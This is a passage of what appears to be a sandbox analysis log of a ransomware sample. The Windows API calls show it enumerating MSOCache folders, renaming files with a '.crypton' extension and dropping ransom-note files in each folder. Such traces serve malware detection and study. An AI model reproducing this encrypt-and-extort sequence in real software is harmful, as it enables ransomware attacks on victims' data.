hHeap=0x510000) returned 1 [0069.217] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.217] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.217] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.217] AreFileApisANSI () returned 1 [0069.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.217] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.218] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0069.218] GetLastError () returned 0x2 [0069.218] AreFileApisANSI () returned 1 [0069.218] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.218] GetLastError () returned 0x2 [0069.218] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.218] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.218] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.218] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.218] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.218] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.218] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.218] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.218] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.218] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.218] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.218] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.218] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.218] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.218] AreFileApisANSI () returned 1 [0069.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0069.219] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x98) returned 0x536b88 [0069.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=76 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 76 [0069.219] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0069.219] GetFileType (hFile=0x190) returned 0x1 [0069.219] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.221] AreFileApisANSI () returned 1 [0069.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0069.221] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x98) returned 0x536b88 [0069.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=76 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 76 [0069.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0069.221] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa8) returned 0x54a680 [0069.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=84 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.crypton") returned 84 [0069.221] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.crypton"), dwFlags=0x2) returned 1 [0069.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.222] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.222] AreFileApisANSI () returned 1 [0069.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0069.222] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x98) returned 0x536b88 [0069.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=76 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 76 [0069.222] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0069.222] GetLastError () returned 0x2 [0069.222] AreFileApisANSI () returned 1 [0069.222] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpFilePart=0x0) returned 0x4a [0069.222] GetLastError () returned 0x2 [0069.222] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0069.222] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.222] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0069.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0069.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524448 [0069.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5244d8 [0069.223] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524448 | out: hHeap=0x510000) returned 1 [0069.223] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5244d8 | out: hHeap=0x510000) returned 1 [0069.223] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524400 | out: hHeap=0x510000) returned 1 [0069.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0069.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0069.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x77) returned 0x51ff00 [0069.223] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.223] AreFileApisANSI () returned 1 [0069.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.223] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0069.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 93 [0069.223] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.225] GetFileType (hFile=0x1f0) returned 0x1 [0069.226] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.226] AreFileApisANSI () returned 1 [0069.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.226] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xbc) returned 0x54a680 [0069.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=94 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 94 [0069.227] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.227] GetFileType (hFile=0x1f0) returned 0x1 [0069.227] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.228] AreFileApisANSI () returned 1 [0069.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.228] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0069.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 93 [0069.228] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.229] GetFileType (hFile=0x1f0) returned 0x1 [0069.229] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.230] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6a041c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a041c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.230] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6a041c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a041c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="..", cAlternateFileName="")) returned 1 [0069.230] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa69de060, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa69de060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa69de060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.230] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a041c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a041c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a041c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.230] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a041c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6a041c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6a041c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.230] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.231] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.231] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.231] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0069.231] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.231] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x77) returned 0x51ff00 [0069.231] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.231] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.231] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.231] AreFileApisANSI () returned 1 [0069.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0069.231] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xcc) returned 0x52fb50 [0069.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x52fb50, cchWideChar=102 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 102 [0069.231] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0069.231] GetFileType (hFile=0x190) returned 0x1 [0069.231] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52fb50 | out: hHeap=0x510000) returned 1 [0069.232] AreFileApisANSI () returned 1 [0069.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0069.232] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xce) returned 0x52fb50 [0069.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x52fb50, cchWideChar=103 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 103 [0069.233] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0069.234] GetFileType (hFile=0x190) returned 0x1 [0069.234] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52fb50 | out: hHeap=0x510000) returned 1 [0069.235] AreFileApisANSI () returned 1 [0069.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0069.235] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xcc) returned 0x52fb50 [0069.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x52fb50, cchWideChar=102 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 102 [0069.235] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\msocache\\all 